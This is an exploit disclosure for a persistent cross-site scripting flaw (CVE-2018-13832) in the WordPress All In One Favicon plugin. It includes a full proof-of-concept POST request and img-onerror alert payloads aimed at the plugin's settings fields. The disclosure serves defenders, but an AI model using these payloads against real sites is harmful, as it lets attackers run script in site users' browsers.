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WordPress All In One Favicon 4.6 Cross Site Scripting

WordPress All In One Favicon 4.6 Cross Site Scripting
Posted Jul 19, 2018
Authored by Javier Olmedo

WordPress All In One Favicon plugin version 4.6 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2018-13832
SHA-256 | 0981c4f9c549ca322909202cf2f6c2af66fabbb260e7ca87b4d6c92465148a64

WordPress All In One Favicon 4.6 Cross Site Scripting

Change Mirror Download
# Exploit Title: WordPress Plugin All In One Favicon <= 4.6 - Authenticated Multiple XSS Persistent
# Date: 2018-07-10
# Exploit Author: Javier Olmedo

# Website: https://hackpuntes.com/
# Vendor Homepage: http://www.techotronic.de/
# Software Link: https://wordpress.org/plugins/all-in-one-favicon/
# Version/s: 4.6 and below
# Patched Version: unpatched
# CVE : 2018-13832
# WPVULNDB: https://wpvulndb.com/vulnerabilities/9099

Plugin description:
All In One Favicon adds favicons to your site and your admin pages. You can either use favicons you already uploaded or use the builtin upload mechanism to upload a favicon to your WordPress installation.

Description:
WordPress Plugin All In One Favicon before 4.6 allows remote authenticated users to execute javascript code through XSS Persistent attacks.

Technical details:

The following parameters are vulnerable:
backendApple-Text
backendICO-Text
backendPNG-Text
backendGIF-Text
frontendApple-Text
frontendICO-Text
frontendPNG-Text
frontendGIF-Text

Proof of Concept (PoC):
The following POST request will cause it to display an alert in the browser when it runs as an authenticated user with permissions:

POST /wordpress/wp-admin/admin-post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php
Content-Type: multipart/form-data; boundary=---------------------------168911549614148
Content-Length: 3407
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------168911549614148
Content-Disposition: form-data; name="_wpnonce"

9df031414d
-----------------------------168911549614148
Content-Disposition: form-data; name="_wp_http_referer"

/wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php
-----------------------------168911549614148
Content-Disposition: form-data; name="option_page"

aio-favicon_settings
-----------------------------168911549614148
Content-Disposition: form-data; name="aio-favicon_settings[frontendICO-text]"

"><img src=a onerror=alert(1)>
-----------------------------168911549614148
Content-Disposition: form-data; name="action"

aioFaviconUpdateSettings
-----------------------------168911549614148
Content-Disposition: form-data; name="aioFaviconUpdateSettings"

Guardar cambios
-----------------------------168911549614148

Content-Disposition: form-data; name="action"

aioFaviconUpdateSettings
-----------------------------168911549614148
Content-Disposition: form-data; name="aio-favicon_settings[removeLinkFromMetaBox]"

true
-----------------------------168911549614148
Content-Disposition: form-data; name="action"

aioFaviconUpdateSettings
-----------------------------168911549614148--

Payloads:
"><img src=a onerror=alert(1)>
"><img src=a onerror=alert(String.fromCharCode(88,83,83))>

Timeline:
15/03/2018 I send the report. (no answer)
27/05/2018 I send the report, again. (no answer)
10/07/2018 Public disclosure.

References:
https://hackpuntes.com/cve-2018-13832-wordpress-plugin-all-in-one-favicon-4-6-autenticado-multiples-cross-site-scripting-persistentes/


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